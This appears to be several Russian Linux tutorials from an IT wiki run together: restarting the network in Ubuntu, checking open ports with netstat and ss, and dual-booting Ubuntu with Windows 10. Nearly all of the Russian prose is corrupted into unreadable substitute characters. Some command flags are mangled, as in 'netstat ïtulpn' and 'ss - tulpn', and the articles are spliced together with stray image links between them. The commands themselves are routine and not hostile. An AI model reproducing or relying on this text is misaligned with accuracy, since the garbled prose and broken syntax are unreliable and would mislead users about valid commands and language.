ʜʝʘʢʪʠʚʠʨʦʚʘʪʴ ʵʪʦ ʩʦʝʜʠʥʝʥʠʝ. 

https://wiki.merionet.ru/
https://wiki.merionet.ru/images/kak-perezagruzit-set-v-ubuntu/3.PNG
https://wiki.merionet.ru/images/kak-perezagruzit-set-v-ubuntu/3.PNG
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ɺʳʙʝʨʠʪʝ ʩʦʝʜʠʥʝʥʠʝ, ʢʦʪʦʨʦʝ ʚʳ ʭʦʪʠʪʝ ʘʢʪʠʚʠʨʦʚʘʪʴ 

https://wiki.merionet.ru/
https://wiki.merionet.ru/images/kak-perezagruzit-set-v-ubuntu/4.PNG
https://wiki.merionet.ru/images/kak-perezagruzit-set-v-ubuntu/4.PNG
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ʅʘʞʤʠʪʝ Enter, ʩʦʝʜʠʥʝʥʠʝ ʜʦʣʞʥʦ ʩʥʦʚʘ ʩʪʘʪʴ ʘʢʪʠʚʥʳʤ. 

https://wiki.merionet.ru/
https://wiki.merionet.ru/images/kak-perezagruzit-set-v-ubuntu/5.PNG
https://wiki.merionet.ru/images/kak-perezagruzit-set-v-ubuntu/5.PNG
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ɼʚʘʞʜʳ ʥʘʞʤʠʪʝ Tab ʯʪʦʙʳ ʚʳʙʨʘʪʴ ʧʫʥʢʪ Back 

https://wiki.merionet.ru/
https://wiki.merionet.ru/images/kak-perezagruzit-set-v-ubuntu/6.PNG
https://wiki.merionet.ru/images/kak-perezagruzit-set-v-ubuntu/6.PNG
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ʅʘʞʤʠʪʝ Enter, ʵʪʦ ʚʝʨʥʝʪ ʚʘʩ ʚ ʛʣʘʚʥʦʝ ʤʝʥʶ. 

https://wiki.merionet.ru/
https://wiki.merionet.ru/images/kak-perezagruzit-set-v-ubuntu/7.PNG
https://wiki.merionet.ru/images/kak-perezagruzit-set-v-ubuntu/7.PNG
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ɺʳʙʝʨʠʪʝ Quit ʜʣʷ ʚʳʭʦʜʘ 

https://wiki.merionet.ru/
https://wiki.merionet.ru/images/kak-perezagruzit-set-v-ubuntu/8.PNG
https://wiki.merionet.ru/images/kak-perezagruzit-set-v-ubuntu/8.PNG
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ʕʪʦ ʜʦʣʞʥʦ ʟʘʢʨʳʪʴ ʧʨʠʣʦʞʝʥʠʝ ʠ ʚʝʨʥʫʪʴ ʚʘʩ ʚ ʚʘʰ ʪʝʨʤʠʥʘʣ. 

 

ɇɂɈɂɡȿɇɋɉȺ ɉɂɊȼ Ɂ VDVPUV ɝɈȿɌȼɏɂɉȺȼ 

ʕʪʦ, ʢʦʥʝʯʥʦ, ʩʘʤʳʡ ʧʨʦʩʪʦʡ ʩʧʦʩʦʙ ʧʝʨʝʟʘʧʫʩʪʠʪʴ ʩʝʪʴ ʜʣʷ ʧʦʣʴʟʦʚʘʪʝʣʝʡ 

ʥʘʩʪʦʣʴʥʳʭ ʢʦʤʧʴʶʪʝʨʦʚ Ubuntu. ɽʩʣʠ ʵʪʦ ʥʝ ʨʘʙʦʪʘʝʪ, ʚʳ ʤʦʞʝʪʝ ʩʜʝʣʘʪʴ ʵʪʦ ʠʟ 

ʢʦʤʘʥʜʥʦʡ ʩʪʨʦʢʠ ʢʘʢ ʙʳʣʦ ʦʧʠʩʘʥʦ ʚ ʧʨʝʜʳʜʫʱʝʤ ʨʘʟʜʝʣʝ. 

ʏʪʦʙʳ ʦʪʢʨʳʪʴ ʦʢʥʦ ʫʧʨʘʚʣʝʥʠʷ ʩʝʪʴʶ, ʱʝʣʢʥʠʪʝ ʧʨʘʚʦʡ ʢʥʦʧʢʦʡ ʤʳʰʠ ʟʥʘʯʦʢ 

ʩʝʪʠ ʚ ʧʨʘʚʦʤ ʚʝʨʭʥʝʤ ʫʛʣʫ ʠ ʥʘʡʜʠʪʝ ʩʝʪʝʚʦʝ ʩʦʝʜʠʥʝʥʠʝ, ʢʦʪʦʨʦʝ ʚʳ ʭʦʪʠʪʝ 

ʧʝʨʝʟʘʛʨʫʟʠʪʴ, ʟʘʪʝʤ ʥʘʞʤʠʪʝ çɺʳʢʣʶʯʠʪʴè. 

https://wiki.merionet.ru/
https://wiki.merionet.ru/images/kak-perezagruzit-set-v-ubuntu/9.PNG
https://wiki.merionet.ru/images/kak-perezagruzit-set-v-ubuntu/9.PNG
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ɿʥʘʯʦʢ ʩʝʪʠ ʠʩʯʝʟʥʝʪ. ʏʪʦʙʳ ʩʥʦʚʘ ʚʢʣʶʯʠʪʴ ʩʝʪʴ, ʱʝʣʢʥʠʪʝ ʣʝʚʦʡ ʢʥʦʧʢʦʡ ʤʳʰʠ 

ʚ ʧʨʘʚʦʤ ʚʝʨʭʥʝʤ ʫʛʣʫ ʩʪʨʝʣʢʫ ʚʥʠʟ, ʥʘʡʜʠʪʝ ʩʝʪʝʚʦʡ ʠʥʪʝʨʬʝʡʩ ʠ ʥʘʞʤʠʪʝ 

çʇʦʜʢʣʶʯʠʪʴʩʷè. 

ǹȔȖȚȘȐȔ ȖȚȒȘȣȚȣȍ ȗȖȘȚȣ Linux 

ʄʳ ʫʞʝ ʨʘʩʩʢʘʟʳʚʘʣʠ ʧʨʦ TCP ʠ UDP ʧʦʨʪʳ, ʠ ʚʳ ʫʞʝ ʟʥʘʝʪʝ, ʯʪʦ ʵʪʦ ʩʫʱʥʦʩʪʴ, 

ʢʦʪʦʨʘʷ ʦʧʨʝʜʝʣʷʝʪ ʢʦʥʢʨʝʪʥʳʡ ʧʨʦʮʝʩʩ, ʧʨʠʣʦʞʝʥʠʝ ʠʣʠ ʪʠʧ ʩʝʪʝʚʦʛʦ ʩʝʨʚʠʩʘ. 

ʈʘʩʩʢʘʞʝʤ, ʢʘʢ ʚʳʚʝʩʪʠ ʩʧʠʩʦʢ ʠ ʟʘʪʝʤ ʥʘʙʣʶʜʘʪʴ ʟʘ ʨʘʙʦʪʦʡ TCP/UDP ʧʦʨʪʦʚ ʚ 

Linux. ʇʦʝʭʘʣʠ! 

 

ɉɇȼɉɆȺ Ɂɉɂɍ ɆɊȺɈɓɊɓɍ ɇɆɈɊɆɁ ɇɈȼ ɇɆɄɆɑȼ ȺɆɄȿɅɠɓ PGU%UCU 

ʕʪʦ ʧʨʦʩʪʦ. ʊʫʪ ʤʳ ʠʩʧʦʣʴʟʫʝʤ ʣʠʙʦ ʢʦʤʘʥʜʫ netstat. ɼʘ, ʪʘʢ ʧʨʦʩʪʦ, ʚʩʝʛʦ ʦʜʥʘ 

ʩʪʨʦʯʢʘ ʠ ʚʩʝ ʫ ʥʘʩ ʧʝʨʝʜ ʛʣʘʟʘʤʠ: 

https://wiki.merionet.ru/
https://wiki.merionet.ru/images/kak-perezagruzit-set-v-ubuntu/10png.png
https://wiki.merionet.ru/images/kak-perezagruzit-set-v-ubuntu/10png.png
https://wiki.merionet.ru/seti/23/tcp-i-udp-v-chem-raznica/
https://wiki.merionet.ru/images/smotrim-otkrytye-porty-linux/0.png
https://wiki.merionet.ru/images/smotrim-otkrytye-porty-linux/0.png
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$ sudo netstat ïtulpn  

 

ʊʫʪ ʤʳ ʤʦʞʝʤ ʫʚʠʜʝʪʴ ʢʘʢʠʝ ʧʦʨʪʳ ʥʘʭʦʜʷʪʩʷ ʚ ʩʦʩʪʦʷʥʠʠ ʧʨʦʩʣʫʰʠʚʘʥʠʷ 

(Listen). ʊʘʢʞʝ ʧʨʦʩʤʦʪʨʝʪʴ ʧʨʦʩʣʫʰʠʚʘʝʤʳʝ ʧʦʨʪʳ ʤʦʞʥʦ ʧʨʠ ʧʦʤʦʱʠ ʫʪʠʣʠʪʳ 

lsof ï ʢʘʢ ʵʪʦ ʩʜʝʣʘʪʴ ʤʦʞʥʦ ʧʨʦʯʝʩʪʴ ʚ ʥʘʰʝʡ ʩʪʘʪʴʝ. 

ʊʘʢʞʝ ʤʳ ʠʩʧʦʣʴʟʦʚʘʣʠ ʩʣʝʜʫʶʱʠʝ ʬʣʘʛʠ: 

ǒ t - ʚʳʚʦʜʠʪ ʩʧʠʩʦʢ ʧʦʨʪʦʚ TCP. 

ǒ u - ʚʳʚʦʜʠʪ ʩʧʠʩʦʢ ʧʦʨʪʦʚ UDP. 

ǒ l - ʚʳʚʦʜʠʪ ʪʦʣʴʢʦ ʩʣʫʰʘʶʱʠʝ (Listen) ʩʦʢʝʪʳ. 

ǒ n - ʧʦʢʘʟʳʚʘʝʪ ʥʦʤʝʨ ʧʦʨʪʘ. 

ǒ p - ʧʦʢʘʟʳʚʘʝʪ ʠʤʷ ʧʨʦʮʝʩʩʘ ʠʣʠ ʧʨʦʛʨʘʤʤʳ. 

 

ɉɇȼɉɆȺ Ɂɉɂɍ ɆɊȺɈɓɊɓɍ ɇɆɈɊɆɁ ɇɈȼ ɇɆɄɆɑȼ ȺɆɄȿɅɠɓ %% 

ʊʫʪ ʚʩʝ ʘʥʘʣʦʛʠʯʥʦ, ʢʨʦʤʝ ʪʦʛʦ, ʯʪʦ ʪʝʧʝʨʴ ʠʩʧʦʣʴʟʫʝʤ ʢʦʤʘʥʜʫ ss ʚʤʝʩʪʦ netstat 

https://wiki.merionet.ru/
https://wiki.merionet.ru/images/smotrim-otkrytye-porty-linux/1.PNG
https://wiki.merionet.ru/images/smotrim-otkrytye-porty-linux/1.PNG
https://wiki.merionet.ru/servernye-resheniya/18/nuzhno-znat-utilita-lsof-v-linux/
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$ sudo ss - tulpn  

 

 

UER ȼ VFR ɇɆɈɊɓ Ɂ ɈɂɃȼɄɂ ɈɂȿɣɔɅɆɝɆ ɁɈɂɄɂɅȼ 

ʀ ʪʫʪ ʪʦʞʝ ʚʩʝ ʧʨʦʩʪʦ ï ʜʣʷ ʧʨʦʩʤʦʪʨʘ ʧʦʨʪʦʚ TCP ʠ UDP ʚ ʨʝʞʠʤʝ ʨʝʘʣʴʥʦʛʦ 

ʚʨʝʤʝʥʠ ʥʫʞʥʦ ʟʘʧʫʩʪʠʪʴ netstat ʠʣʠ ss ʩ ʧʦʤʦʱʴʶ ʫʪʠʣʠʪʳ watch. 

$ sudo watch netstat - tulpn  

ʀʣʠ 

$ sudo watch ss - tulpn  

https://wiki.merionet.ru/
https://wiki.merionet.ru/images/smotrim-otkrytye-porty-linux/2.PNG
https://wiki.merionet.ru/images/smotrim-otkrytye-porty-linux/2.PNG
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ǷȍȘȍȑȚȐ ȕȈ Linux? ǷȖȗȘȖȉțȑȚȍ ȍȋȖ șȕȈȟȈȓȈ! 

ʆʧʝʨʘʮʠʦʥʥʘʷ ʩʠʩʪʝʤʘ (ʆʉ) ʵʪʦ ʢʦʤʧʣʝʢʩ ʧʨʦʛʨʘʤʤʥʦʛʦ ʦʙʝʩʧʝʯʝʥʠʷ, ʢʦʪʦʨʦʝ 

ʧʨʝʚʨʘʱʘʝʪ ʛʨʫʜʫ ʞʝʣʝʟʘ, ʢʦʪʦʨʫʶ ʤʳ ʥʘʟʳʚʘʝʤ ʢʦʤʧʴʶʪʝʨ, ʚ ʚʳʧʦʣʥʷʶʱʫʶ 

ʩʣʦʞʥʝʡʰʠʝ ʚʳʯʠʩʣʝʥʠʷ ʤʘʰʠʥʫ. ʉʝʛʦʜʥʷ ʥʘ ʨʳʥʢʝ ʜʚʝ ʦʩʥʦʚʥʳʭ ʩʝʤʝʡʩʪʚʘ ʆʉ: 

Linux ʦʧʝʥʩʦʨʩʥʘʷ ʩʠʩʪʝʤʘ, ʧʝʨʚʳʡ ʚʳʧʫʩʢ ʢʦʪʦʨʦʡ ʙʳʣ ʚ 1991 ʛʦʜʫ, ʠ Windows 

ʧʣʘʪʥʘʷ ʠ ʧʦʞʘʣʫʡ ʩʘʤʘʷ ʧʦʧʫʣʷʨʥʘʷ ʥʘ ʩʝʛʦʜʥʷʰʥʠʡ ʜʝʥʴ ʦʧʝʨʘʮʠʦʥʥʘʷ 

ʩʠʩʪʝʤʘ. 

ɺ ʥʘʰʠ ʜʥʠ ʙʦʣʴʰʠʥʩʪʚʦ ʧʦʣʴʟʦʚʘʪʝʣʝʡ ʧʨʝʜʧʦʯʠʪʘʝʪ ʚʪʦʨʦʡ ʚʘʨʠʘʥʪ, ʪʘʢ ʢʘʢ ʦʥ 

ʫʜʦʙʥʝʡ ʠ ʣʝʛʯʝ. ʅʦ ʝʩʪʴ ʧʦʣʴʟʦʚʘʪʝʣʠ, ʢʦʪʦʨʳʝ ʥʝ ʧʨʦʪʠʚ ʧʦʧʨʦʙʦʚʘʪʴ ʯʪʦ-ʪʦ 

ʥʦʚʦʝ ʠ, ʤʦʞʝʪ ʙʳʪʴ, ʧʝʨʝʡʪʠ ʥʘ ʥʦʚʫʶ ʩʠʩʪʝʤʫ. ʅʦ ʧʝʨʝʫʩʪʘʥʘʚʣʠʚʘʪʴ ʩʚʦʶ 

ʩʠʩʪʝʤʫ ʥʝ ʚʘʨʠʘʥʪ. ɺʦ-ʧʝʨʚʳʭ, ʬʘʡʣʦʚʘʷ ʩʠʩʪʝʤʘ ʵʪʠʭ ʜʚʫʭ ʩʝʤʝʡʩʪʚ ʆʉ ʩʠʣʴʥʦ 

ʦʪʣʠʯʘʝʪʩʷ. ʀ ʬʘʡʣʳ ʟʘʧʠʩʘʥʥʳʝ ʥʘ ʜʠʩʢ ʚ ʦʜʥʦʡ ʆʉ, ʩʣʦʞʥʦ ʩʯʠʪʘʪʴ ʥʘ ʜʨʫʛʦʡ. 

ɺʦ-ʚʪʦʨʳʭ, ʧʦʣʥʦʝ ʬʦʨʤʘʪʠʨʦʚʘʥʠʷ ʫʥʠʯʪʦʞʠʪ ʚʩʝ ʜʘʥʥʳʝ, ʘ ʵʪʦʛʦ ʥʠʢʦʤʫ ʥʝ 

ʭʦʯʝʪʩʷ. 

ʄʦʞʥʦ ʧʦʧʨʦʙʦʚʘʪʴ ʫʩʪʘʥʦʚʠʚ ʥʘ ʚʠʨʪʫʘʣʴʥʦʡ ʤʘʰʠʥʫ, ʥʦ ʝʩʣʠ ʨʝʩʫʨʩʳ ʭʦʩʪʘ 

ʦʛʨʘʥʠʯʝʥʳ, ʪʦ ʩʣʦʞʥʦ ʦʮʝʥʠʪʴ ʚʩʝ ʚʦʟʤʦʞʥʦʩʪʠ ʥʦʚʦʡ ʩʠʩʪʝʤʳ. ɽʩʪʴ ʝʱʸ 

https://wiki.merionet.ru/
https://wiki.merionet.ru/images/smotrim-otkrytye-porty-linux/3.PNG
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ʚʘʨʠʘʥʪ ʟʘʛʨʫʟʢʠ ʩ Live-ʜʠʩʢʘ, ʥʦ ʪʦʞʝ ʥʝʵʬʬʝʢʪʠʚʥʦ, ʪʘʢ ʢʘʢ ʪʦʞʝ ʥʝ ʤʦʞʝʪ 

ʠʩʧʦʣʴʟʦʚʘʪʴ ʚʩʝ ʨʝʩʫʨʩʳ ʬʠʟʠʯʝʩʢʦʡ ʤʘʰʠʥʳ. ʅʦ ʢ ʩʯʘʩʪʴʶ ʝʩʪʴ ʚʦʟʤʦʞʥʦʩʪʴ 

ʧʦʧʨʦʙʦʚʘʪʴ ʥʦʚʫʶ ʩʠʩʪʝʤʫ ʥʘ ʨʝʘʣʴʥʦʡ ʤʘʰʠʥʝ ʧʨʠ ʵʪʦʤ ʥʝ ʪʝʨʷʷ ʥʠ ʙʘʡʪʘ 

ʜʘʥʥʳʭ. ɺ ʵʪʦʡ ʩʪʘʪʴʝ ʨʝʯʴ ʧʦʡʜʸʪ ʢʘʢ ʨʘʟ ʦʙ ʵʪʦʡ ʚʦʟʤʦʞʥʦʩʪʠ. 

ʅʘʠʙʦʣʝʝ ʨʘʩʧʨʦʩʪʨʘʥʸʥʥʦʡ ʚʝʨʩʠʝʡ *nix-ʧʦʜʦʙʥʳʭ ʩʠʩʪʝʤ ʷʚʣʷʝʪʩʷ Ubuntu. ʀ 

ʤʳ ʪʦʞʝ ʥʝ ʙʫʜʝʤ ʦʩʪʘʚʘʪʴ ʦʪ ʤʦʜʳ ʠ ʦʧʨʦʙʫʝʤ ʵʪʫ ʚʝʨʩʠʶ ʆʉ. ɼʣʷ ʥʘʯʘʣʘ ʥʫʞʥʦ 

ʩʢʘʯʘʪʴ ʦʙʨʘʟ ʩʠʩʪʝʤʳ ʩ ʦʬʠʮʠʘʣʴʥʦʛʦ ʩʘʡʪʘ. ʅʘ ʤʦʤʝʥʪ ʥʘʧʠʩʘʥʠʷ ʩʪʘʪʴʠ 

ʧʦʩʣʝʜʥʷʷ non-LTS ʚʝʨʩʠʷ 19.10, ʥʦ ʢʘʞʜʳʡ ʯʸʪʥʳʡ ʛʦʜ ʨʘʟʨʘʙʦʪʯʠʢʠ ʚʳʧʫʩʢʘʶʪ 

ʚʝʨʩʠʶ LTS ʚʝʨʩʠʷ ʩ ʜʦʣʛʦʩʨʦʯʥʦʡ ʧʦʜʜʝʨʞʢʦʡ, ʯʪʦ ʛʘʨʘʥʪʠʨʫʝʪ ʚʳʧʫʩʢ 

ʦʙʥʦʚʣʝʥʠʡ ʚ ʪʝʯʝʥʠʠ ʧʷʪʠ ʣʝʪ. ɸ non-LTS ʧʦʜʜʝʨʞʠʚʘʝʪʩʷ ʪʦʣʴʢʦ ʚ ʪʝʯʝʥʠʠ 9-ʪʠ 

ʤʝʩʷʮʝʚ. ʀ ʥʘ ʪʝʢʫʱʠʡ ʤʦʤʝʥʪ LTS ʚʝʨʩʠʷ ʵʪʦ 18.04. ɽʛʦ ʠ ʫʩʪʘʥʦʚʠʤ. 

ʉʢʘʯʘʚ ʦʙʨʘʟ ʩʠʩʪʝʤʳ ʝʛʦ ʥʫʞʥʦ ʟʘʧʠʩʘʪʴ ʥʘ ʜʠʩʢ ʠʣʠ ʬʣʝʰ-ʢʘʨʪʫ. ɼʠʩʢʘʤʠ ʫʞʝ 

ʥʠʢʪʦ ʥʝ ʧʦʣʴʟʫʝʪʩʷ, ʧʦʵʪʦʤʫ ʚʳʙʠʨʘʝʤ ʚʪʦʨʦʡ ʚʘʨʠʘʥʪ. ʏʪʦʙʳ ʩʦʟʜʘʪʴ 

ʟʘʛʨʫʟʦʯʥʳʡ ʜʠʩʢ ʜʣʷ Linux ʩʠʩʪʝʤ ʨʝʢʦʤʝʥʜʫʝʪʩʷ ʧʦʣʴʟʦʚʘʪʴʩʷ ʫʪʠʣʠʪʦʡ 

Unetbootin. ʅʦ ʩʪʘʨʳʡ, ʜʦʙʨʳʡ Ultra ISO ʪʦʞʝ ʭʦʨʦʰʦ ʩʧʨʘʚʣʷʝʪʩʷ. ɺʩʪʘʚʣʷʝʤ 

ʬʣʝʰʢʫ, ʟʘʧʫʩʢʘʝʤ ʧʨʦʛʨʘʤʤʫ ʦʪ ʠʤʝʥʠ ɸʜʤʠʥʠʩʪʨʘʪʦʨʘ. ɺʳʙʠʨʘʝʤ ʦʙʨʘʟ ʠ 

ʢʣʠʢʘʝʤ ʥʘ ʥʝʤ ʜʚʘ ʨʘʟʘ. 

https://wiki.merionet.ru/
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ʆʙʨʘʟ ʨʘʩʧʘʢʦʚʳʚʘʝʪʩʷ ʚ ʦʩʥʦʚʥʦʤ ʦʢʥʝ. ɿʘʪʝʤ ʚʳʙʠʨʘʝʤ Bootable->Write disk 

image. ɺʳʙʠʨʘʝʤ ʥʫʞʥʫʶ ʬʣʝʰʢʫ ʠ ʥʘʞʠʤʘʝʤ ʥʘ Write. ʇʨʦʛʨʘʤʤʘ ʧʨʝʜʫʧʨʝʜʠʪ, 

ʯʪʦ ʥʘ ʬʣʝʰ-ʢʘʨʪʝ ʚʩʝ ʜʘʥʥʳʝ ʩʦʪʨʫʪʩʷ, ʥʘʞʠʤʘʝʤ ʆʂ ʠ ʞʜʸʤ ʦʢʦʥʯʘʥʠʷ ʟʘʧʠʩʠ. 

ɼʣʷ ʫʩʪʘʥʦʚʢʠ ʨʷʜʦʤ ʩ Windows 10 ʥʫʞʥʦ ʧʨʝʜʚʘʨʠʪʝʣʴʥʦ ʧʦʜʛʦʪʦʚʠʪʴ ʩʚʦʙʦʜʥʦ 

ʤʝʩʪʦ ʥʘ ʜʠʩʢʝ. ɼʝʣʘʝʪ ʵʪʦ ʯʝʨʝʟ ʢʦʥʩʦʣʴ ʫʧʨʘʚʣʝʥʠʷ ʞʸʩʪʢʠʤʠ ʜʠʩʢʘʤʠ. 

ʆʩʚʦʙʦʞʜʘʝʤ ʥʝʦʙʭʦʜʠʤʦʝ ʜʣʷ ʫʩʪʘʥʦʚʢʠ ʩʠʩʪʝʤʳ ʤʝʩʪʦ. ɼʣʷ ʪʝʩʪʦʚʦʡ ʩʨʝʜʳ 

ʭʚʘʪʠʪ 60 ɻʙ. ʏʪʦʙʳ ʟʘʧʫʩʪʠʪʴ ʢʦʥʩʦʣʴ ʚ ʧʦʠʩʢʝ ʥʘʙʠʨʘʝʤ diskmgmt. ʂʣʠʢʘʝʤ 

ʧʨʘʚʦʡ ʢʥʦʧʢʦʡ ʤʳʰʠ ʥʘ ʜʠʩʢʝ, ʢʦʪʦʨʳʡ ʭʦʪʠʤ ʨʘʟʜʝʣʠʪʴ ʠ ʚʳʙʠʨʘʝʤ ʉʞʘʪʴ ʜʠʩʢ 

(Shrink volume). 

https://wiki.merionet.ru/
https://wiki.merionet.ru/images/perejti-na-linux-poprobujte-ego-snachala/1.png
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ʉʠʩʪʝʤʘ ʧʦʜʩʯʠʪʳʚʘʝʪ ʦʧʪʠʤʘʣʴʥʦʝ ʟʥʘʯʝʥʠʝ, ʥʦ ʝʩʣʠ ʥʫʞʥʦ ʠʟʤʝʥʠʪʴ, ʪʦ 

ʚʳʩʪʘʚʣʷʝʤ ʥʫʞʥʦʝ ʟʥʘʯʝʥʠʝ ʥʘʞʠʤʘʝʤ ʉʞʘʪʴ(Shrink) . 

https://wiki.merionet.ru/
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ʅʘ ʵʪʦʡ ʥʝʨʘʟʤʝʯʝʥʥʦʡ ʦʙʣʘʩʪʠ ʠ ʙʫʜʝʤ ʫʩʪʘʥʘʚʣʠʚʘʪʴ Linux. ʇʝʨʝʟʘʛʨʫʞʘʝʤ 

ʩʠʩʪʝʤʫ ʠ ʟʘʭʦʜʠʤ ʚ BIOS ʥʘʞʘʚ F2 (ʥʘ ʢʘʞʜʦʡ ʤʘʪʝʨʠʥʢʝ ʧʦ ʨʘʟʥʦʤʫ), 

ʚʳʩʪʘʚʣʷʝʤ ʟʘʛʨʫʟʢʫ ʩ ʬʣʝʰʢʠ. ʉʠʩʪʝʤʘ ʟʘʧʫʩʪʠʪʩʷ ʠ ʦʪʢʨʦʝʪʩʷ ʦʢʥʦ ʚʳʙʦʨʘ 

ʷʟʳʢʘ: 

https://wiki.merionet.ru/
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ɿʜʝʩʴ ʧʨʝʜʦʩʪʘʚʣʷʝʪʩʷ ʚʦʟʤʦʞʥʦʩʪʴ ʧʨʦʪʝʩʪʠʨʦʚʘʪʴ Live ʚʝʨʩʠʶ ʩʠʩʪʝʤʳ, ʦ ʯʸʤ 

ʫʞʝ ʫʧʦʤʠʥʘʣʠ ʚʳʰʝ. ɸ ʤʳ ʚʳʙʠʨʘʝʤ ʷʟʳʢ ʠ ʥʘʞʠʤʘʝʤ ʋʩʪʘʥʦʚʠʪʴ Ubuntu. 

ɿʘʪʝʤ ʦʪʢʨʳʚʘʝʪʩʷ ʦʢʥʦ ʩ ʦʧʮʠʷʤʠ ʫʩʪʘʥʦʚʢʠ. ʄʦʞʥʦ ʚʳʙʨʘʪʴ ʆʙʳʯʥʫʶ ʚʝʨʩʠʶ, 

ʄʠʥʠʤʘʣʴʥʫʶ ʚʝʨʩʠʶ, ʘ ʪʘʢʞʝ ʤʦʞʥʦ ʩʨʘʟʫ ʫʩʪʘʥʦʚʠʪʴ ʇʆ ʩʪʦʨʦʥʥʠʭ 

ʨʘʟʨʘʙʦʪʯʠʢʦʚ ʪʘʢʠʭ, ʢʘʢ ʜʨʘʡʚʝʨʘ ʠ ʜʦʧʦʣʥʠʪʝʣʴʥʳʝ ʢʦʜʝʢʠ: 

https://wiki.merionet.ru/
https://wiki.merionet.ru/images/perejti-na-linux-poprobujte-ego-snachala/5.png
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ɼʘʣʝʝ ʚʳʙʠʨʘʝʤ ʨʘʩʢʣʘʜʢʫ ʢʣʘʚʠʘʪʫʨʳ ʠ ʥʘʞʠʤʘʝʤ ʇʨʦʜʦʣʞʠʪʴ. ʈʝʢʦʤʝʥʜʫʝʤ 

ʩʨʘʟʫ ʚʳʙʨʘʪʴ ɸʥʛʣʠʡʩʢʠʡ ʷʟʳʢ, ʦʩʪʘʣʴʥʳʝ ʤʦʞʥʦ ʜʦʙʘʚʠʪʴ ʧʦʟʞʝ: 

https://wiki.merionet.ru/
https://wiki.merionet.ru/images/perejti-na-linux-poprobujte-ego-snachala/6.png
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ʀ ʥʘ ʵʪʦʤ ʵʪʘʧʝ ʫʩʪʘʥʦʚʱʠʢ ʦʧʨʝʜʝʣʷʝʪ, ʯʪʦ ʫ ʥʘʩ ʥʘ ʜʠʩʢʝ ʫʞʝ ʝʩʪʴ ʩʠʩʪʝʤʘ 

Windows ʠ ʧʨʝʜʣʘʛʘʝʪ ʚʘʨʠʘʥʪ ʫʩʪʘʥʦʚʢʠ ʨʷʜʦʤ ʩ ʥʝʡ. ʄʳ ʞʝ ʚʳʙʠʨʘʝʤ ɼʨʫʛʦʡ 

ʚʘʨʠʘʥʪ, ʯʪʦʙʳ ʠʤʝʪʴ ʚʦʟʤʦʞʥʦʩʪʴ ʛʠʙʢʦ ʨʘʩʧʨʝʜʝʣʷʪʴ ʤʝʩʪʦ ʥʘ ʜʠʩʢʝ: 
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ʅʘ ʩʣʝʜʫʶʱʝʤ ʦʢʥʝ ʚʠʜʠʤ ʢʘʢ ʨʘʟ ʥʘʰʠ ʨʘʟʜʝʣʳ ʩ Windows ʠ ʩʚʦʙʦʜʥʳʡ: 
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ɺʳʙʠʨʘʝʤ ʩʚʦʙʦʜʥʦʝ ʤʝʩʪʦ ʠ ʥʘʞʠʤʘʝʤ ʥʘ ʧʣʶʩʠʢ. 20 ʛʠʛʘʙʘʡʪʦʚ ʚʳʜʝʣʠʤ ʧʦʜ 

ʢʦʨʥʝʚʫʶ ʜʠʨʝʢʪʦʨʠʶ, ʢʫʜʘ ʫʩʪʘʥʘʚʣʠʚʘʝʪʩʷ ʩʘʤʘ ʩʠʩʪʝʤʘ, ʩʚʦʝʦʙʨʘʟʥʳʡ ʜʠʩʢ C 

ʥʘ Windows ʢʦʪʦʨʘʷ ʦʙʦʟʥʘʯʘʝʪʩʷ ʧʨʷʤʳʤ ʩʣʵʰʝʤ. ɺ ʦʪʣʠʯʠʠ ʦʪ Windows, *nix 

ʩʠʩʪʝʤʳ ʠʩʧʦʣʴʟʫʶʪ ʧʨʷʤʦʡ ʩʣʵʰ, ʚʤʝʩʪʦ ʦʙʨʘʪʥʦʛʦ: 
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ʇʦʜ ʜʦʤʘʰʥʠʡ ʢʘʪʘʣʦʛ ʚʳʜʝʣʠʤ 40 ɻʙ. ʕʪʦ ʤʝʩʪʦ ʛʜʝ ʭʨʘʥʷʪʩʷ ʬʘʡʣʳ 

ʧʦʣʴʟʦʚʘʪʝʣʷ: 
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ɸ 8 ʛʠʛʘʙʘʡʪʦʚ ʚʳʜʝʣʠʤ ʧʦʜ ʨʘʟʜʝʣ ʧʦʜʢʘʯʢʠ: 
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ʅʘʞʠʤʘʝʤ ʧʨʦʜʦʣʞʠʪʴ. ʉʠʩʪʝʤʘ ʚʳʚʦʜʠʪ ʠʥʬʦʨʤʘʮʠʶ ʦ ʚʥʝʩʸʥʥʳʭ ʠʟʤʝʥʝʥʠʷ ʠ 

ʧʨʦʩʠʪ ʧʦʜʪʚʝʨʜʠʪʴ ʠʭ. ɽʱʸ ʨʘʟ ʥʘʞʠʤʘʝʤ ʇʨʦʜʦʣʞʠʪʴ ʠ ʧʝʨʝʭʦʜʠʤ ʢ ʚʳʙʦʨʫ 

ʯʘʩʦʚʦʛʦ ʧʦʷʩʘ. ʇʦʩʣʝ ʯʝʛʦ ʚʳʭʦʜʠʪ ʦʢʥʦ ʩʦʟʜʘʥʠʷ ʧʦʣʴʟʦʚʘʪʝʣʷ: 
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ɿʘʪʝʤ ʫʩʪʘʥʦʚʱʠʢ ʥʘʯʠʥʘʝʪ ʢʦʧʠʨʦʚʘʪʴ ʬʘʡʣʳ. ʇʨʠ ʟʘʚʝʨʰʝʥʠʠ ʫʩʪʘʥʦʚʢʠ 

ʩʠʩʪʝʤʘ ʧʨʦʩʠʪ ʧʝʨʝʟʘʛʨʫʟʠʪʴʩʷ. ʇʦʩʣʝ ʧʝʨʝʟʘʛʨʫʟʢʠ ʦʪʢʨʳʚʘʝʪʩʷ ʤʝʥʶ 

ʟʘʛʨʫʟʯʠʢʘ GRUB, ʛʜʝ ʤʦʞʥʦ ʚʳʙʨʘʪʴ ʢʘʢʫʶ ʩʠʩʪʝʤʫ ʩʣʝʜʫʝʪ ʟʘʧʫʩʢʘʪʴ. ʇʦ 

ʫʤʦʣʯʘʥʠʶ ʩʪʦʠʪ Ubuntu ʠ ʝʩʣʠ ʥʝ ʧʨʝʜʧʨʠʥʷʪʴ ʥʠʢʘʢʠʭ ʜʝʡʩʪʚʠʡ, ʯʝʨʝʟ 10 ʩʝʢʫʥʜ 

ʦʥʘ ʠ ʟʘʛʨʫʟʠʪʩʷ: 
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ɺʚʦʜʠʤ ʧʘʨʦʣʴ, ʥʘʞʠʤʘʝʤ ɺʦʡʪʠ ʠ ʚʫʘʣʷ, ʤʳ ʪʦʣʴʢʦ ʯʪʦ ʫʩʪʘʥʦʚʠʣʠ Ubuntu ʨʷʜʦʤ 

ʩ Windows ʥʝ ʧʦʚʨʝʜʠʚ ʥʠ ʦʜʥʦʛʦ ʬʘʡʣʠʢʘ: 
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RPM - țșȚȈȕȖȊȒȈ Ȑ ȐșȗȖȓȤȏȖȊȈȕȐȍ Ȋ Linux 

